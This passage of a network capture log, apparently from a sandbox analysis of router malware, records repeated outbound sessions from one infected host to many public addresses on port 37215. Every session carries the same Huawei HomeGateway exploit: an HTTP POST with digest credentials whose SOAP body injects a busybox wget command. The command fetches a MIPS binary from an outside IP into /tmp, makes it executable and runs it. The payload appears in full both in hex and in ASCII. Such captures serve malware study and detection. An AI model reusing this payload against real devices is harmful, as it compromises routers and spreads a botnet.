HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
663	192.168.2.23	46756	156.208.201.65	37215

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:56.306811094 CEST	880	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 34 2e 32 32 31 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 33 74 33 74 33 74 33 74 33 74 33 74 33 74 33 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.64.221 -l /tmp/.unstable -r /t3t3t3t3t3t3t3t3pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
664	192.168.2.23	49334	197.141.16.244	37215

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:56.306869984 CEST	880	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 34 2e 32 32 31 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 33 74 33 74 33 74 33 74 33 74 33 74 33 74 33 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.64.221 -l /tmp/.unstable -r /t3t3t3t3t3t3t3t3pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
665	192.168.2.23	34652	156.60.77.246	37215

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:56.306900978 CEST	880	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 34 2e 32 32 31 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 33 74 33 74 33 74 33 74 33 74 33 74 33 74 33 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.64.221 -l /tmp/.unstable -r /t3t3t3t3t3t3t3t3pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
666	192.168.2.23	48620	41.121.54.211	37215

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:56.306951046 CEST	880	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 34 2e 32 32 31 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 33 74 33 74 33 74 33 74 33 74 33 74 33 74 33 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.64.221 -l /tmp/.unstable -r /t3t3t3t3t3t3t3t3pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
667	192.168.2.23	47800	41.18.209.9	37215

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:56.307041883 CEST	880	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 34 2e 32 32 31 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 33 74 33 74 33 74 33 74 33 74 33 74 33 74 33 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.64.221 -l /tmp/.unstable -r /t3t3t3t3t3t3t3t3pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
668	192.168.2.23	58850	197.35.163.130	37215

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:56.307074070 CEST	880	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 34 2e 32 32 31 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 33 74 33 74 33 74 33 74 33 74 33 74 33 74 33 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.64.221 -l /tmp/.unstable -r /t3t3t3t3t3t3t3t3pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
669	192.168.2.23	41680	156.208.181.92	37215

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:56.307106018 CEST	880	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 34 2e 32 32 31 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 33 74 33 74 33 74 33 74 33 74 33 74 33 74 33 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.64.221 -l /tmp/.unstable -r /t3t3t3t3t3t3t3t3pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
670	192.168.2.23	37048	197.208.62.80	37215

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:56.307147980 CEST	880	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 34 2e 32 32 31 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 33 74 33 74 33 74 33 74 33 74 33 74 33 74 33 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.64.221 -l /tmp/.unstable -r /t3t3t3t3t3t3t3t3pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
671	192.168.2.23	37022	197.84.49.239	37215

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:56.307178974 CEST	880	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 34 2e 32 32 31 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 33 74 33 74 33 74 33 74 33 74 33 74 33 74 33 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.64.221 -l /tmp/.unstable -r /t3t3t3t3t3t3t3t3pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
672	192.168.2.23	51982	41.199.2.59	37215

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:56.307218075 CEST	880	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 34 2e 32 32 31 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 33 74 33 74 33 74 33 74 33 74 33 74 33 74 33 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.64.221 -l /tmp/.unstable -r /t3t3t3t3t3t3t3t3pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
673	192.168.2.23	35724	156.177.93.194	37215

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:56.307255030 CEST	880	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 